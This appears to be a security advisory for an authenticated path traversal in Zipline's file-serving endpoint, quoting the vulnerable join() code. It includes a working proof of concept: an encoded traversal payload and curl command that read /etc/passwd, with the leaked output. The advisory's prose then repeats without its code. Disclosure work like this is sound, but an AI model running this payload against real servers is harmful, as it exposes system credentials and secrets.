Summary
An authenticated path traversal vulnerability allows a logged-in user to read arbitrary files from the server filesystem (e.g., /etc/passwd, /etc/shadow) by abusing a fallback that treats the URL :id parameter as a datasource key.
Details
In GET /api/user/files/:id/raw, the handler queries Prisma for a file record by id. Regardless of whether a record exists, it later falls back to using id directly in datasource operations:
const size = file?.size || (await datasource.size(file?.name ?? id));
if (req.headers.range) {
...
const buf = await datasource.range(file?.name ?? id, start || 0, end);
...
}
...
const buf = await datasource.get(file?.name ?? id);
The LocalDatasource implementation uses unsafe path joining for size() and range():
public async size(file: string): Promise<number> {
const path = join(this.dir, file);
...
}
public async range(file: string, start: number, end: number): Promise<Readable> {
const path = join(this.dir, file);
const readStream = createReadStream(path, { start, end });
...
}
Because join(this.dir, file) does not enforce containment, a crafted :id containing traversal sequences can escape the uploads directory and target arbitrary paths.
PoC
- Set variables:
BASE="http://127.0.0.1:3000"
AUTH="YOUR_AUTH_TOKEN"
- Read /etc/passwd by using a traversal payload as 🆔
TRAV="%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
curl -i -H "Authorization: $AUTH" -H "Range: bytes=0-2000" "$BASE/api/user/files/$TRAV/raw"
Result:
HTTP/1.1 206 Partial Content
access-control-allow-origin: *
content-type: application/octet-stream
content-range: bytes 0-200/739
accept-ranges: bytes
content-length: 201
Date: Tue, 06 Jan 2026 18:37:08 GMT
Connection: keep-alive
Keep-Alive: timeout=72
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
... (i truncated it because its quite long)
Also works on /etc/shadow and anything, really.
Impact
Vulnerability class: Path Traversal / Arbitrary File Read.
Who is impacted: Any Zipline instance using the Local datasource (or any datasource implementation that does not strictly constrain keys), where a logged-in user can reach this endpoint.
Security impact: Disclosure of secrets (system files, application secrets, credentials) and potential follow-on compromise depending on what is readable.
Summary
An authenticated path traversal vulnerability allows a logged-in user to read arbitrary files from the server filesystem (e.g., /etc/passwd, /etc/shadow) by abusing a fallback that treats the URL :id parameter as a datasource key.
Details
In GET /api/user/files/:id/raw, the handler queries Prisma for a file record by id. Regardless of whether a record exists, it later falls back to using id directly in datasource operations:
The LocalDatasource implementation uses unsafe path joining for size() and range():
Because join(this.dir, file) does not enforce containment, a crafted :id containing traversal sequences can escape the uploads directory and target arbitrary paths.
PoC
Result:
Also works on /etc/shadow and anything, really.
Impact
Vulnerability class: Path Traversal / Arbitrary File Read.
Who is impacted: Any Zipline instance using the Local datasource (or any datasource implementation that does not strictly constrain keys), where a logged-in user can reach this endpoint.
Security impact: Disclosure of secrets (system files, application secrets, credentials) and potential follow-on compromise depending on what is readable.